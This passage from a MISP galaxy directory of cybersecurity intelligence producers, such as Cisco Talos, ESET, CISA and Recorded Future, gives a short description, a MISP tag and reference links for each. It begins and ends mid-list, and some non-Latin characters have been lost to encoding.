Table 12870. Table References

Links
https://icannwiki.org/DomainTools

Feedly

Feedly is an AI-powered news aggregator application for various web browsers and mobile devices running iOS and Android. It is also available as a cloud-based service.

The tag is: *misp-galaxy:producer="Feedly"*

Table 12871. Table References

Links
https://en.wikipedia.org/wiki/Feedly

Networksdb.io

Database of public networks, IP addresses and domain names owned by companies and organisations worldwide.

The tag is: *misp-galaxy:producer="Networksdb.io"*

Table 12872. Table References

Links
https://twitter.com/networksdbio

Censys

Compagny providing comprehensive dataset of internet intelligence

The tag is: *misp-galaxy:producer="Censys"*

DomainIQ

DomainIQ is an internet research tool providing information about a domain name, its owner, the server it’s hosted on, its ownership history, similar domains and more.

The tag is: *misp-galaxy:producer="DomainIQ"*

Arctic

Computer and Network Security

The tag is: *misp-galaxy:producer="Arctic"*

Arctic is also known as:

- Arctic Security

Bitsight

BitSight is a cybersecurity ratings company that analyzes companies, government agencies, and educational institutions.

The tag is: *misp-galaxy:producer="Bitsight"*

RiskIQ

RiskIQ, Inc. is a cyber security company that was based in San Francisco, California. It provided cloud-based software as a service (SaaS) for organizations to detect phishing, fraud, malware, and other online security threats. RiskIQ was acquired by Microsoft in July 2021.

The tag is: *misp-galaxy:producer="RiskIQ"*

Table 12873. Table References

Links
https://en.wikipedia.org/wiki/RiskIQ

Sweepatic

Sweepatic is a cybersecurity company

The tag is: *misp-galaxy:producer="Sweepatic"*

Team Cymru

Team Cymru is an internet security firm that offers research services making the internet a more secure place.

The tag is: *misp-galaxy:producer="Team Cymru"*

G DATA

G Data CyberDefense AG (until September 2019 G Data Software AG) is a German software company that focuses on computer security.

The tag is: *misp-galaxy:producer="G DATA"*

G DATA is also known as:

- GDATA
- G Data CyberDefense AG
- G Data Software AG

Table 12874. Table References

Links
https://en.wikipedia.org/wiki/G_Data_CyberDefense

Sekoia

Sekoia.io is a European cybersecurity SAAS company, whose mission is to develop the best protection capabilities against cyber attacks.

The tag is: *misp-galaxy:producer="Sekoia"*

Excellium

Excellium Services Group is a cyber-security consulting and technology Integration Company established since 2012 in Luxemburg and Belgium, with activities and in France and Africa.

The tag is: *misp-galaxy:producer="Excellium"*

Telindus

Telindus is a brand of Proximus Luxembourg SA. Founded in 1979, Telindus Luxembourg accompanies all organizations in their digital transformation, by providing holistic ICT & Telecommunication solutions, as well as tailored support services. Our areas of expertise include Telecommunication Services, ICT Infrastructure, Multi-Cloud, Digital Trust Solutions, Cybersecurity, Business Applications, Managed Services and Training.

The tag is: *misp-galaxy:producer="Telindus"*

BleepingComputer

Bleeping Computer is a website covering technology news and offering free computer help via its forums that was created by Lawrence Abrams in 2004. It publishes news focusing heavily on cybersecurity, but also covers other topics including computer software, computer hardware, operating system and general technology.

The tag is: *misp-galaxy:producer="BleepingComputer"*

Table 12875. Table References

Links
https://en.wikipedia.org/wiki/Bleeping_Computer

Cisco Talos Intelligence Group

Cisco Talos, or Cisco Talos Intelligence Group, is a cybersecurity technology and information security company based in Fulton, Maryland. It is a part of Cisco Systems Inc. Talos' threat intelligence powers Cisco Secure products and services, including malware detection and prevention systems. Talos provides Cisco customers and internet users with customizable defensive technologies and techniques through several of their own open-source products, including the Snort intrusion prevention system and ClamAV[3] anti-virus engine

The tag is: *misp-galaxy:producer="Cisco Talos Intelligence Group"*

Cisco Talos Intelligence Group is also known as:

- Cisco Talos

Table 12876. Table References

Links
https://talosintelligence.com/
https://blog.talosintelligence.com/

Europol

Headquartered in The Hague, the Netherlands, Europol's mission is to support its Member States in preventing and combating all forms of serious international and organised crime, cybercrime and terrorism. Europol also works with many non-EU partner states and international organisations.

The tag is: *misp-galaxy:producer="Europol"*

ESET

ESET, s.r.o., is a software company specializing in cybersecurity. ESET's security products are made in Europe and provide security software in over 200 countries and territories worldwide. Its software is localized into more than 30 languages. The company was founded in 1992 in Bratislava, Slovakia.

The tag is: *misp-galaxy:producer="ESET"*

Tencent

Tencent is a world-leading internet and technology company that develops innovative products and services to improve the quality of life of people around the world. Founded in 1998 with its headquarters in Shenzhen, China, Tencent's guiding principle is to use technology for good. Our communication and social services connect more than one billion people around the world, helping

them to keep in touch with friends and family, access transportation, pay for daily necessities, and even be entertained. Tencent also publishes some of the world's most popular video games and other high-quality digital content, enriching interactive entertainment experiences for people around the globe. Tencent also offers a range of services such as cloud computing, advertising, FinTech, and other enterprise services to support our clients' digital transformation and business growth. Tencent has been listed on the Stock Exchange of Hong Kong since 2004.

The tag is: *misp-galaxy:producer="Tencent"*

Kaspersky

Kaspersky Lab (/kæ□sp□□rski/; Russian: Лаборатория Касперского, romanized: Laboratoriya Kasperskogo) is a Russian multinational cybersecurity and anti-virus provider headquartered in Moscow, Russia, and operated by a holding company in the United Kingdom. It was founded in 1997 by Eugene Kaspersky, Natalya Kaspersky and Alexey De-Monderik. Kaspersky Lab develops and sells antivirus, internet security, password management, endpoint security, and other cybersecurity products and services.

The tag is: *misp-galaxy:producer="Kaspersky"*

Kaspersky is also known as:

- Kaspersky Lab
- Лаборатория Касперского

Palo Alto

Palo Alto Networks, Inc. is an American multinational cybersecurity company with headquarters in Santa Clara, California. The core product is a platform that includes advanced firewalls and cloud-based offerings that extend those firewalls to cover other aspects of security. The company serves over 70,000 organizations in over 150 countries, including 85 of the Fortune 100. It is home to the Unit 42 threat research team and hosts the Ignite cybersecurity conference.

The tag is: *misp-galaxy:producer="Palo Alto"*

Palo Alto is also known as:

- Palo Alto Networks
- Palo Alto Unit 42

Trend Micro

Trend Micro Inc. (□□□□□□□□□□□□, Torendo Maikuro Kabushiki-Gaisha) is an American-Japanese cyber security software company. The company has globally dispersed R&D in 16 locations across every continent excluding Antarctica. The company develops enterprise security software for servers, containers, & cloud computing environments, networks, and end points.

The tag is: *misp-galaxy:producer="Trend Micro"*

Trend Micro is also known as:

- □□□□□□□□□□□□

AhnLab

AhnLab, Inc. offers industry-leading cyber security solutions and services for consumers, enterprises, and small and medium-sized businesses worldwide. Founded in 1995, AhnLab provides comprehensive protection for endpoint, cloud, network, and other services. With its headquarters in South Korea, the most wired country in the world, AhnLab has become a leading innovator of dynamic security solutions that counter cyber threats.

The tag is: *misp-galaxy:producer="AhnLab"*

Check Point

Check Point Software Technologies Ltd. is an American-Israeli multinational provider of software and combined hardware and software products for IT security, including network security, endpoint security, cloud security, mobile security, data security and security management.

The tag is: *misp-galaxy:producer="Check Point"*

CERT-UA

The Computer Emergency Response Team of Ukraine (CERT-UA) is a specialized structural unit of the State Center for Cyber Defense of the State Service for Special Communications and Information Protection of Ukraine.

The tag is: *misp-galaxy:producer="CERT-UA"*

Avast

Avast Software s.r.o. is a Czech multinational cybersecurity software company headquartered in Prague, Czech Republic, that researches and develops computer security software, machine learning, and artificial intelligence.

The tag is: *misp-galaxy:producer="Avast"*

CISA

The Cybersecurity and Infrastructure Security Agency (CISA) is a component of the United States Department of Homeland Security (DHS) responsible for cybersecurity and infrastructure protection across all levels of government, coordinating cybersecurity programs with U.S. states, and improving the government's cybersecurity protections against private and nation-state hackers.

The tag is: *misp-galaxy:producer="CISA"*

CISA is also known as:

- Cybersecurity and Infrastructure Security Agency

JPCERT

JPCERT/CC is the first CSIRT (Computer Security Incident Response Team) established in Japan. The organization coordinates with network service providers, security vendors, government agencies, as well as the industry associations. As such, it acts as a 'CSIRT of CSIRTs' in the Japanese community. In the Asia Pacific region, JPCERT/CC helped form APCERT (Asia Pacific Computer Emergency Response Team) and provides a secretariat function for APCERT. Globally, as a member of the Forum of Incident Response and Security Teams (FIRST), JPCERT/CC cooperates with the trusted CSIRTs worldwide.

The tag is: *misp-galaxy:producer="JPCERT"*

JPCERT is also known as:

- JPCERT/CC

Proofpoint

Proofpoint, Inc. is an American enterprise cybersecurity company based in Sunnyvale, California that provides software as a service and products for email security, identity threat defense, data loss prevention, electronic discovery, and email archiving.

The tag is: *misp-galaxy:producer="Proofpoint"*

Qihoo 360

Qihoo 360 (Chinese: □□ 360; pinyin: Qíh□ Sānliùlíng; approximate pronunciation CHEE-hoo), full name 360 Security Technology Inc., is a Chinese internet security company that has developed the antivirus software programs 360 Safeguard and 360 Mobile Safe, the Web browser 360 Secure Browser, and the mobile application store 360 Mobile Assistant.

The tag is: *misp-galaxy:producer="Qihoo 360"*

Bitdefender

Bitdefender provides cybersecurity solutions with leading security efficacy, performance and ease of use to small and medium businesses, mid-market enterprises and consumers.

The tag is: *misp-galaxy:producer="Bitdefender"*

Avira

Avira Operations GmbH & Co. KG is a German multinational computer security software company mainly known for its Avira Free Security antivirus software. Since 2021, Avira has been owned by

American software company NortonLifeLock (now Gen Digital), which also operates Norton, Avast and AVG. It was previously owned by investment firm Investcorp.

The tag is: *misp-galaxy:producer="Avira"*

Cloudflare

Cloudflare, Inc. is an American company that provides content delivery network services, cloud cybersecurity, DDoS mitigation, wide area network services, reverse proxies, Domain Name Service, and ICANN-accredited domain registration services. Cloudflare's headquarters are in San Francisco, California.

The tag is: *misp-galaxy:producer="Cloudflare"*

Recorded Future

Recorded Future, Inc. is an American privately held cybersecurity company founded in 2009, with headquarters in Somerville, Massachusetts.

The tag is: *misp-galaxy:producer="Recorded Future"*

Recorded Future is also known as:

- Recorded Future, Inc
- Insikt Group

Table 12877. Table References

Links
https://en.wikipedia.org/wiki/Recorded_Future
https://www.recordedfuture.com/resources

Cyble

Cyble empowers organizations to take control of their cyber risks with AI-driven, cybersecurity platforms.

The tag is: *misp-galaxy:producer="Cyble"*

Cyble is also known as:

- The Cyber Express

Table 12878. Table References

Links
https://cyble.com/resources/
https://thecyberexpress.com/

Cyfirma

CYFIRMA is a threat discovery and cyber-intelligence company with the world's first platform that can deliver predictive cyber-intelligence

The tag is: *misp-galaxy:producer="Cyfirma"*

Table 12879. Table References

Links
https://www.cyfirma.com/research/
https://golden.com/wiki/CYFIRMA-K46ZYP8

SentinelOne

SentinelOne, Inc. is an American cybersecurity company listed on NYSE based in Mountain View, California.

The tag is: *misp-galaxy:producer="SentinelOne"*

SentinelOne is also known as:

- Sentinel One

Table 12880. Table References

Links
https://www.sentinelone.com/labs/

Fortinet

Fortinet, Inc. is a cybersecurity company with headquarters in Sunnyvale, California. The company develops and sells security solutions like firewalls, endpoint security and intrusion detection systems.

The tag is: *misp-galaxy:producer="Fortinet"*

Table 12881. Table References

Links
https://en.wikipedia.org/wiki/Fortinet
https://www.fortinet.com/blog/threat-research

Zscaler

Zscaler, Inc. (/ˈziːskeɪlər/) is an American cloud security company based in San Jose, California. The company offers cloud-based services to protect enterprise networks and data.

The tag is: *misp-galaxy:producer="Zscaler"*

Table 12882. Table References

Links
https://www.zscaler.com/blogs?type=security-research
https://en.wikipedia.org/wiki/Zscaler

Splunk

Splunk Inc. is an American software company based in San Francisco, California, that produces software for searching, monitoring, and analyzing machine-generated data via a web-style interface.

The tag is: *misp-galaxy:producer="Splunk"*

Table 12883. Table References

Links
https://www.splunk.com/
https://www.splunk.com/en_us/blog/security.html
https://en.wikipedia.org/wiki/Splunk

Huntress

Huntress Labs Incorporated operates as a security software solution provider. The Company provides managed threat detection and response services to uncover, address persistent footholds that prevent defenses. Huntress Labs serves customers in the United States.

The tag is: *misp-galaxy:producer="Huntress"*

Table 12884. Table References

Links
https://www.huntress.com/
https://www.huntress.com/blog

Symantec

A brand of enterprise security software purchased by Broadcom Inc. in August 2019

The tag is: *misp-galaxy:producer="Symantec"*

Table 12885. Table References

Links
https://en.wikipedia.org/wiki/Symantec

https://symantec-enterprise-blogs.security.com/threat-intelligence

Microsoft

Microsoft Corporation is an American multinational corporation and technology company headquartered in Redmond, Washington.

The tag is: *misp-galaxy:producer="Microsoft"*

Table 12886. Table References

Links
https://www.microsoft.com/
https://en.wikipedia.org/wiki/Microsoft
https://www.microsoft.com/en-us/security/blog/topic/threat-intelligence/

SANS Internet Storm Center (ISC)

Part of the SANS Technology Institute, the Internet Storm Center (ISC) stands as a beacon of vigilance and resilience in the ever-evolving landscape of cybersecurity.

The tag is: *misp-galaxy:producer="SANS Internet Storm Center (ISC)"*

Table 12887. Table References

Links
https://isc.sans.edu/about.html
https://isc.sans.edu/diary/

CloudSEK

CloudSEK is a contextual AI company that predicts Cyber Threats. Combining the power of Cyber,Brand & Attack Surface monitoring to give context to Digital Risk.

The tag is: *misp-galaxy:producer="CloudSEK"*

Table 12888. Table References

Links
https://www.cloudsek.com/
https://www.cloudsek.com/blog

Netskope

Netskope, a global SASE leader, helps organizations apply zero trust principles and AI/ML innovations to protect data and defend against cyber threats.

The tag is: *misp-galaxy:producer="Netskope"*

Table 12889. Table References

Links
https://www.netskope.com/blog/category/netskope-threat-labs
https://www.linkedin.com/company/netskope/

The DFIR Report

Real Intrusions by Real Attackers, The Truth Behind the Intrusion

The tag is: *misp-galaxy:producer="The DFIR Report"*

The DFIR Report is also known as:

- thedfirreport
- The DFIR Report

Table 12890. Table References

Links
https://thedfirreport.com/

Cybereason

American cybersecurity technology company founded in 2012.

The tag is: *misp-galaxy:producer="Cybereason"*

Table 12891. Table References

Links
https://www.cybereason.com/blog

Silent Push

Silent Push was founded to transform the way organizations across the world track, monitor and counteract global threat activity.

The tag is: *misp-galaxy:producer="Silent Push"*

Table 12892. Table References

Links
https://www.silentpush.com/blog/

ANY.RUN

Any.run provides a sandbox environment where users can monitor, analyze, and detect cybersecurity threats.

The tag is: *misp-galaxy:producer="ANY.RUN"*

ANY.RUN is also known as:

- ANYRUN FZCO
- Any Run

Table 12893. Table References

Links
https://any.run/cybersecurity-blog/

Aquasec

Aqua Security is the pioneer in securing containerized cloud native applications from development to production. Aqua's full lifecycle solution prevents attacks by enforcing pre-deployment hygiene and mitigates attacks in real time in production, reducing mean time to repair and overall business risk

The tag is: *misp-galaxy:producer="Aquasec"*

Table 12894. Table References

Links
https://www.aquasec.com/blog/

Qualys

Qualys, Inc. is an American technology firm based in Foster City, California, specializing in cloud security, compliance and related services.

The tag is: *misp-galaxy:producer="Qualys"*

Table 12895. Table References

Links
https://blog.qualys.com/

Zimperium

Zimperium, Inc. is a privately owned mobile security company based in the United States and headquartered in Dallas, Texas.

The tag is: *misp-galaxy:producer="Zimperium"*

Table 12896. Table References

Links
https://www.zimperium.com/blog/

Intezer

Intezer's Genetic Malware Analysis technology enables security teams to automate memory and file analysis

The tag is: *misp-galaxy:producer="Intezer"*

Table 12897. Table References

Links
https://intezer.com/blog/

Forcepoint

Forcepoint is an American multinational corporation software company headquartered in Austin, Texas, that develops computer security software and data protection, cloud access security broker, firewall and cross-domain solutions.

The tag is: *misp-galaxy:producer="Forcepoint"*

Table 12898. Table References

Links
https://www.forcepoint.com/blog/x-labs

Elastic

Elastic NV is an American-Dutch software company that provides self-managed and software as a service (SaaS) offerings for search, logging, security, observability, and analytics use cases.

The tag is: *misp-galaxy:producer="Elastic"*

Elastic is also known as:

- Elasticsearch
- elasticseclabs

Table 12899. Table References

Links
https://www.elastic.co/security-labs

Infoblox

Infoblox, is a privately held IT automation and security company based in California's Silicon Valley.

The tag is: *misp-galaxy:producer="Infoblox"*

Table 12900. Table References

Links
https://blogs.infoblox.com/threat-intelligence/

Akamai

Akamai Technologies, Inc. is an American delivery company that provides content delivery network(CDN), cybersecurity, DDoS mitigation, and cloud services.

The tag is: *misp-galaxy:producer="Akamai"*

Table 12901. Table References

Links
https://www.akamai.com/blog/security/

Sucuri

Sucuri is a content distribution network service (CDN) provider that helps websites to load faster while increasing their resilience to intrusions from malware, DDoS attacks, and hacker activity. Users can easily monitor the performance and safety of their websites using the Sucuri WordPress plugin and the company offers multiple caching options to suit numerous different types of websites.

The tag is: *misp-galaxy:producer="Sucuri"*

Table 12902. Table References

Links
https://blog.sucuri.net/

Volexity

Volexity is a Washington, D.C.-based cyber security firm with a global reach.

The tag is: *misp-galaxy:producer="Volexity"*

Table 12903. Table References

Links

https://www.volexity.com/blog/

Rapid7

Rapid7 Inc (Rapid7) offers data security and analytics solutions. It offers products such as insightVM, nexpose, metasploit, appspider, insightAppSec, insightIDR and insightOps. The company offers services including advisory services, penetration testing services, IoT security testing services, vulnerability management services, incident detection, and response services. Rapid7 also provides various solutions including vulnerability management, penetration testing solutions, web application security testing, IT operations, user behavior analytics (UBA), Siem, consulting services, and managed security services.

The tag is: *misp-galaxy:producer="Rapid7"*

Table 12904. Table References

Links
https://www.rapid7.com/blog/

Outpost24

Outpost24 empowers organizations to achieve cyber resilience with a complete range of continuous threat exposure management (CTEM) solutions.

The tag is: *misp-galaxy:producer="Outpost24"*

Table 12905. Table References

Links
https://outpost24.com/blog/category/research-and-threat-intel/

Hybrid Analysis

IT security blog focusing on malware forensics, dynamic and static analysis, as well as automated malware analysis techniques.

The tag is: *misp-galaxy:producer="Hybrid Analysis"*

Hybrid Analysis is also known as:

- hybrid-analysis
- HYBRID ANALYSIS GMBH

Table 12906. Table References

Links
https://hybrid-analysis.blogspot.com/

Morphisec

Morphisec provides a proactive security solution for workstations, virtual desktops, and server workloads to prevent cyberattacks.

The tag is: *misp-galaxy:producer="Morphisec"*

Table 12907. Table References

Links
https://blog.morphisec.com/

HarfangLab

HarfangLab, as part of its business as a supplier EDR (Endpoint Detection and Response)

The tag is: *misp-galaxy:producer="HarfangLab"*

Table 12908. Table References

Links
https://harfanglab.io/insidethelab/

Hunt.io

Hunt.io is a service that provides threat intelligence data about observed network scanning and cyberattacks. This data is collected by a worldwide distributed network of sensors. All interactions with sensors are registered, analyzed, and used to create network host profiles.

The tag is: *misp-galaxy:producer="Hunt.io"*

Hunt.io is also known as:

- Hunt Intelligence

Table 12909. Table References

Links
https://hunt.io/blog

ASEC

ASEC is a full-service cybersecurity firm helping organizations build and maintain trust with our offensive security assessments, consulting, and training. Since 2015, the firm has provided security services to numerous organizations across North America, particularly within the government, finance, healthcare, education, technology, media, retail, energy and manufacturing sectors.

The tag is: *misp-galaxy:producer="ASEC"*

Table 12910. Table References

Links
https://www.asec.io/company

Cyware

Cyware is a cybersecurity company specializing in threat intelligence and security orchestration. It provides solutions for organizations to strengthen their security posture through the automation and collaboration of threat management processes.

The tag is: *misp-galaxy:producer="Cyware"*

Table 12911. Table References

Links
https://social.cyware.com/cyber-security-news-articles

BlueTeamSec

BlueTeamSec is an online community and forum designed for professionals, students, and hobbyists involved in defensive cybersecurity practices.

The tag is: *misp-galaxy:producer="BlueTeamSec"*

Table 12912. Table References

Links
https://blueteamsec.org/

SonicWall

SonicWall is a cybersecurity company that provides network security, access security, and endpoint security solutions. The company specializes in firewalls, secure remote access, and threat intelligence.

The tag is: *misp-galaxy:producer="SonicWall"*

Table 12913. Table References

Links
https://www.sonicwall.com/

VirusTotal

VirusTotal is an online service that analyzes files and URLs for viruses, worms, trojans, and other kinds of malicious content. It aggregates multiple antivirus products and scan engines to provide a comprehensive threat detection solution.

The tag is: *misp-galaxy:producer="VirusTotal"*

Table 12914. Table References

Links
https://www.virustotal.com/

CrowdStrike

CrowdStrike is a leading cybersecurity company providing cloud-native endpoint protection and threat intelligence. It specializes in preventing, detecting, and responding to cyber threats.

The tag is: *misp-galaxy:producer="CrowdStrike"*

Table 12915. Table References

Links
https://www.crowdstrike.com/
https://www.crowdstrike.com/en-us/blog/

Rewterz

Rewterz is a cybersecurity solutions and services provider specializing in threat intelligence, security monitoring, and incident response. It offers tailored solutions to help organizations secure their digital environments.

The tag is: *misp-galaxy:producer="Rewterz"*

Table 12916. Table References

Links
https://www.rewterz.com/

Malwarebytes

Malwarebytes is a cybersecurity company known for its malware detection and remediation solutions. It offers software to protect businesses and consumers from malware, ransomware, and other online threats.

The tag is: *misp-galaxy:producer="Malwarebytes"*

Table 12917. Table References

Links
https://www.malwarebytes.com/

GBHackers

GBHackers is a cybersecurity news and information portal. It provides the latest updates on cyber threats, vulnerabilities, and security tips, catering to both professionals and enthusiasts.

The tag is: *misp-galaxy:producer="GBHackers"*

Table 12918. Table References

Links
https://gbhackers.com/

Securonix

Securonix is a leading cybersecurity company that provides next-generation security information and event management (SIEM) solutions. It focuses on user and entity behavior analytics (UEBA) and threat detection.

The tag is: *misp-galaxy:producer="Securonix"*

Table 12919. Table References

Links
https://www.securonix.com/

Cybersecurity News

Cybersecurity News is an online platform providing the latest updates, insights, and news on cybersecurity trends, threats, and best practices.

The tag is: *misp-galaxy:producer="Cybersecurity News"*

Table 12920. Table References

Links
https://cybersecuritynews.com/

Google Cloud Blog

The Google Cloud Blog provides insights, updates, and guidance on cloud computing and cybersecurity solutions, including Google's offerings in infrastructure security and threat detection.

The tag is: *misp-galaxy:producer="Google Cloud Blog"*

Table 12921. Table References

Links
https://cloud.google.com/blog

PwC

PwC is a global professional services firm offering consulting, audit, and cybersecurity services. It helps organizations enhance their security posture through strategic advisory and implementation services.

The tag is: *misp-galaxy:producer="PwC"*

Table 12922. Table References

Links
https://www.pwc.com/gx/en.html

Juniper Networks Blogs

Juniper Networks Blogs provide insights and updates on networking, cybersecurity, and IT infrastructure. The platform covers threat prevention, detection, and emerging technologies in networking.

The tag is: *misp-galaxy:producer="Juniper Networks Blogs"*

Table 12923. Table References

Links
https://blogs.juniper.net/

Security Affairs

Security Affairs is a leading cybersecurity blog and news site, providing detailed insights into cyber threats, vulnerabilities, and incident reports. It caters to professionals and enthusiasts alike.

The tag is: *misp-galaxy:producer="Security Affairs"*

Table 12924. Table References

Links
https://securityaffairs.com/

SecurityWeek

SecurityWeek is a cybersecurity news and analysis platform that provides in-depth coverage of cybersecurity trends, threats, and emerging technologies.

The tag is: *misp-galaxy:producer="SecurityWeek"*

Table 12925. Table References

Links

https://www.securityweek.com/

Trellix

Trellix is a cybersecurity company offering advanced threat intelligence, extended detection, and response (XDR) solutions. It focuses on proactive security measures to protect organizations against evolving cyber threats.

The tag is: *misp-galaxy:producer="Trellix"*

Table 12926. Table References

Links
https://www.trellix.com/

BlackBerry Blog

The BlackBerry Blog shares insights and updates on cybersecurity, artificial intelligence, and secure communications. It focuses on providing resources for both professionals and enthusiasts in the field of secure technology.

The tag is: *misp-galaxy:producer="BlackBerry Blog"*

Table 12927. Table References

Links
https://blogs.blackberry.com/en/home

Broadcom Blog

The Broadcom Blog provides updates and insights on its products and services, with a focus on cybersecurity, networking, and software solutions tailored to enterprise needs.

The tag is: *misp-galaxy:producer="Broadcom Blog"*

Table 12928. Table References

Links
https://www.broadcom.com/blog

McAfee Labs

McAfee Labs provides cybersecurity threat intelligence and research on emerging threats, malware, and security trends. It offers valuable insights to help protect both consumers and businesses.

The tag is: *misp-galaxy:producer="McAfee Labs"*

Table 12929. Table References

Links
https://www.mcafee.com/en-gb/consumer-corporate/mcafee-labs.html

LinkedIn

LinkedIn is a professional networking platform that also serves as a hub for cybersecurity professionals to connect, share insights, and stay updated on industry trends.

The tag is: *misp-galaxy:producer="LinkedIn"*

Table 12930. Table References

Links
https://uk.linkedin.com/

Medium

Medium is an online publishing platform where cybersecurity professionals, enthusiasts, and writers share articles, tutorials, and insights about emerging trends and challenges in the cybersecurity domain.

The tag is: *misp-galaxy:producer="Medium"*

Table 12931. Table References

Links
https://medium.com/

Perception Point

Perception Point is a cybersecurity company specializing in advanced threat prevention for email, web browsers, and collaboration platforms. It provides cloud-native solutions to detect and block malware, phishing, and zero-day attacks.

The tag is: *misp-galaxy:producer="Perception Point"*

Table 12932. Table References

Links
https://perception-point.io/

ReliaQuest

ReliaQuest is a cybersecurity company that provides a cloud-native Open XDR platform for threat detection, investigation, and response. It helps organizations achieve visibility and control across their security ecosystems.

The tag is: *misp-galaxy:producer="ReliaQuest"*

Table 12933. Table References

Links
https://www.reliaquest.com/

EclecticIQ

EclecticIQ is a cybersecurity company offering threat intelligence, hunting, and response solutions. Its platform integrates data from multiple sources to help organizations enhance their security posture.

The tag is: *misp-galaxy:producer="EclecticIQ"*

Table 12934. Table References

Links
https://blog.eclecticiq.com/

Arctic Wolf

Arctic Wolf is a cybersecurity company that provides managed detection and response (MDR) services, security operations solutions, and continuous threat monitoring to help organizations detect and neutralize cyber threats.

The tag is: *misp-galaxy:producer="Arctic Wolf"*

Table 12935. Table References

Links
https://arcticwolf.com/uk/

Nextron Systems

Nextron Systems is a cybersecurity company that develops advanced threat detection and response solutions. It provides tools for malware analysis, incident response, and threat hunting.

The tag is: *misp-galaxy:producer="Nextron Systems"*

Table 12936. Table References

Links
https://www.nextron-systems.com/

NetSec

NetSec is a UK-based cybersecurity information platform providing news, resources, and tools for

security professionals. It covers the latest updates on cyber threats and defense strategies.

The tag is: *misp-galaxy:producer="NetSec"*

Table 12937. Table References

Links
https://netsec.org.uk/

Sygnia

Sygnia is a cybersecurity consulting and incident response company that provides advanced solutions for cyber resilience. It helps organizations respond to incidents and improve their security posture.

The tag is: *misp-galaxy:producer="Sygnia"*

Table 12938. Table References

Links
https://www.sygnia.co/

Datadog

Datadog is a monitoring and security platform for cloud-scale applications. It provides full visibility into cloud environments with tools for application performance monitoring, log management, and security monitoring.

The tag is: *misp-galaxy:producer="Datadog"*

Table 12939. Table References

Links
https://www.datadoghq.com/

Embee Research

Embee Research is a cybersecurity platform focusing on threat research and intelligence. It offers detailed reports and insights into malware trends, vulnerabilities, and security challenges.

The tag is: *misp-galaxy:producer="Embee Research"*

Table 12940. Table References

Links
https://www.embeeresearch.io/

eSentire

eSentire is a managed detection and response (MDR) service provider. It specializes in protecting organizations from advanced cyber threats with 24/7 threat monitoring and response services.

The tag is: *misp-galaxy:producer="eSentire"*

Table 12941. Table References

Links
https://www.esentire.com/

Kandji Blog

The Kandji Blog shares updates, insights, and best practices for device management and security, with a primary focus on managing and securing Apple devices in enterprise environments.

The tag is: *misp-galaxy:producer="Kandji Blog"*

Table 12942. Table References

Links
https://www.kandji.io/blog/

Dragos

Dragos is a cybersecurity company specializing in securing industrial control systems (ICS) and operational technology (OT) environments. It provides solutions for threat detection, asset visibility, and incident response.

The tag is: *misp-galaxy:producer="Dragos"*

Table 12943. Table References

Links
https://www.dragos.com/

PolySwarm

PolySwarm provides a decentralized marketplace for threat detection, connecting cybersecurity experts and enterprises to improve malware detection. The platform incentivizes security researchers to create and share threat intelligence.

The tag is: *misp-galaxy:producer="PolySwarm"*

Table 12944. Table References

Links

https://polyswarm.io/

TeleSec

TeleSec is a cybersecurity service provider under Deutsche Telekom, offering cloud security, managed services, and solutions to secure enterprise IT infrastructures.

The tag is: *misp-galaxy:producer="TeleSec"*

Table 12945. Table References

Links
https://www.telesec.de/en

Wiz Blog

The Wiz Blog provides insights, updates, and best practices on securing cloud-native environments. Wiz specializes in cloud security, risk management, and vulnerability detection.

The tag is: *misp-galaxy:producer="Wiz Blog"*

Table 12946. Table References

Links
https://www.wiz.io/blog

IBM X-Force

IBM X-Force is a cybersecurity research and intelligence platform providing insights, tools, and services to help organizations detect, understand, and respond to cyber threats.

The tag is: *misp-galaxy:producer="IBM X-Force"*

Table 12947. Table References

Links
https://www.ibm.com/x-force

TG Soft

TG Soft is an Italian cybersecurity company providing antivirus and endpoint protection solutions. It also conducts malware research and offers tools for malware detection and removal.

The tag is: *misp-galaxy:producer="TG Soft"*

Table 12948. Table References

Links

https://www.tgsoft.it/

Seqrite

Seqrite is a cybersecurity company that offers endpoint protection, network security, and other enterprise-level security solutions. It helps businesses protect their digital assets from evolving cyber threats.

The tag is: *misp-galaxy:producer="Seqrite"*

Table 12949. Table References

Links
https://www.seqrite.com/

Cado Security

Cado Security provides cloud forensics and incident response solutions, helping businesses detect, investigate, and mitigate threats in their cloud environments.

The tag is: *misp-galaxy:producer="Cado Security"*

Table 12950. Table References

Links
https://www.cadosecurity.com/

Security Boulevard

Security Boulevard is a leading cybersecurity blog that aggregates news, analysis, and insights about the security industry. It features articles from security experts on a variety of cybersecurity topics.

The tag is: *misp-galaxy:producer="Security Boulevard"*

Table 12951. Table References

Links
https://securityboulevard.com/

Lab52

Lab52 offers a wide range of cybersecurity services, including threat hunting and incident response. Their blog provides insights into security research, threat analysis, and mitigation strategies.

The tag is: *misp-galaxy:producer="Lab52"*

Table 12952. Table References

Links
https://lab52.io/blog/

GreyNoise

GreyNoise is a cybersecurity company that provides internet-wide threat intelligence by collecting and analyzing data from internet-connected devices. It helps security teams by filtering out noise from malicious activity and identifying the true threats targeting an organization.

The tag is: *misp-galaxy:producer="GreyNoise"*

Table 12953. Table References

Links
https://www.greynoise.io/

AbuseIPDB

AbuseIPDB is a project dedicated to providing a centralized database for reporting and checking IP addresses involved in malicious activities. It helps organizations identify harmful IPs associated with spamming, hacking, fraud, and other cybercrimes.

The tag is: *misp-galaxy:producer="AbuseIPDB"*

Table 12954. Table References

Links
https://www.abuseipdb.com/

RansomLook

RansomLook provides a comprehensive set of tools for identifying and analyzing ransomware-related incidents. It focuses on detecting ransomware payloads, providing intelligence on ransomware families, and offering insights into how ransomware attacks operate.

The tag is: *misp-galaxy:producer="RansomLook"*

Table 12955. Table References

Links
https://www.ransomlook.io/

URLScan.io

URLScan.io is a free service that analyzes websites by submitting their URLs and providing a detailed report of their behavior and security status. It helps cybersecurity professionals identify

malicious websites and investigate potential threats from suspicious URLs.

The tag is: *misp-galaxy:producer="URLScan.io"*

Table 12956. Table References

Links
https://urlscan.io/

Farghlymal Blog

Farghlymal's GitHub blog is a platform where security-related content is shared, including tutorials, code samples, and research on various cybersecurity topics.

The tag is: *misp-galaxy:producer="Farghlymal Blog"*

Table 12957. Table References

Links
https://farghlymal.github.io/

Lumen

Lumen Technologies, Inc. (formerly CenturyLink, Inc.) is an American telecommunications company headquartered in Monroe, Louisiana, which offers communications, network services, security, cloud solutions, voice and managed services through its fiber optic and copper networks, as well as its data centers and cloud computing services.

The tag is: *misp-galaxy:producer="Lumen"*

Lumen is also known as:

- Black Lotus Labs
- Lumen Technologies

Table 12958. Table References

Links
https://www.lumen.com/en-us/about.html

Cofense

